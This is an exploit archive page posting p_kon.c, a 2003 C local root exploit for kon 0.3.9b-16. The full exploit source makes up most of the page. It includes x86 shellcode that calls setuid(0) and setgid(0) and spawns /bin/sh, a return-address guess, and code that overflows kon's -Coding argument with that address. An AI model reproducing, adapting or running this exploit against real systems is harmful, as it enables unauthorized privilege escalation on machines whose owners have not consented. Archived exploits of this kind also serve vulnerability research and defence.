what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

p_kon.c

p_kon.c
Posted Aug 11, 2003
Authored by Adam Zabrocki | Site pi3.int.pl

Local root exploit for kon version 0.3.9b-16 that makes use of a buffer overflow discovered in the -Coding switch.

tags | exploit, overflow, local, root
SHA-256 | 1586b70f358e651d05f55592aa0f4e846738771a8dd29314ac025f542afa01e6

p_kon.c

Change Mirror Download
/*
* Exploit for kon version 0.3.9b-16 by pi3 (pi3ki31ny)
* Bug founded by redhat security
* The post in bugtraq:
* http://securityfocus.com/advisories/5434
* Greetz: [greetz on my web] && other my friends (you know who you are)
*
* ...::: -=[ www.pi3.int.pl ]=- :::...
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <getopt.h>

#define PATH "/usr/bin/kon"
#define BUFS 800

/* ...::: -=[ www.pi3.int.pl ]=- :::... */

char shellcode[] = "\x31\xdb\x31\xc0\x31\xd2\xb2\x2d\x6a\x0a\x68\x3a"
"\x2e\x2e\x2e\x68\x2d\x20\x3a\x3a\x68\x6c\x20\x5d"
"\x3d\x68\x6e\x74\x2e\x70\x68\x69\x33\x2e\x69\x68"
"\x77\x77\x2e\x70\x68\x3d\x5b\x20\x77\x68\x3a\x3a"
"\x20\x2d\x68\x2e\x2e\x2e\x3a\x89\xe1\xb0\x04\xcd"
"\x80"

/* setuid(0) */

"\x31\xdb\x89\xd8\xb0\x17\xcd\x80"

/* setgid(0) */

"\x31\xdb\x89\xd8\xb0\x2e\xcd\x80"

/* exec /bin/sh */

"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
"\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd"
"\x80"

/* exit(0) */

"\x31\xdb\x89\xd8\xb0\x01\xcd\x80";

long ret_ad(char *a1, char *a2) {

return (0xbffffffa-strlen(a1)-strlen(a2));
}

int ussage(char *arg) {

printf("\n\t...::: -=[ exploit for Kon version 0.3.9b-16 (by pi3) ]=- :::...\n");
printf("\n\tUssage:\n\t[+] %s [options]\n
-? <this help screen>
-o <offset>
-p PATH\n\n",arg);
exit(-1);
}

int main(int argc, char *argv[]) {

long ret,*buf_addr;
char *buf,*path=PATH;
static char *sh[]={shellcode,NULL};
int i,opt,offset=0;
FILE *fp;

while((opt = getopt(argc,argv,"p:o:?")) != -1) {
switch(opt) {

case 'o':

offset=atoi(optarg);
break;

case 'p':

path=optarg;
break;

case '?':
default:

ussage(argv[0]);
break;
}
}

if ( (fp=fopen(path,"r"))==NULL) {
printf("\n*\tI can\'t open path to victim! - %s\t*\n\n",path);
ussage(argv[0]);
} fclose(fp);

if (!(buf=(char*)malloc(BUFS))) {
printf("\nI can\'t locate memory! - buf\n");
exit(-1);
}

printf("\n\t...::: -=[ exploit for Kon version 0.3.9b-16 (by pi3) ]=- :::...\n");
printf("\n\t[+] Bulding buffors!\n");

ret=ret_ad(shellcode,path);
ret+=offset;

printf("\t[+] Using adres 0x%x\n",ret);

buf_addr=(long*)buf;

for(i=0;i<BUFS;i+=4) {
*(buf_addr) = ret; buf_addr++;
}

printf("\nExecuting the vuln program - %s\n\n",path);

execle(path,path,"-Coding", buf, 0, sh); /* The most important function() :>
Pozdrowienia dla mcbethh'a (Ox6D6362),
ty wiesz oco mi chodzi ;D
*/

return 0;
}
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close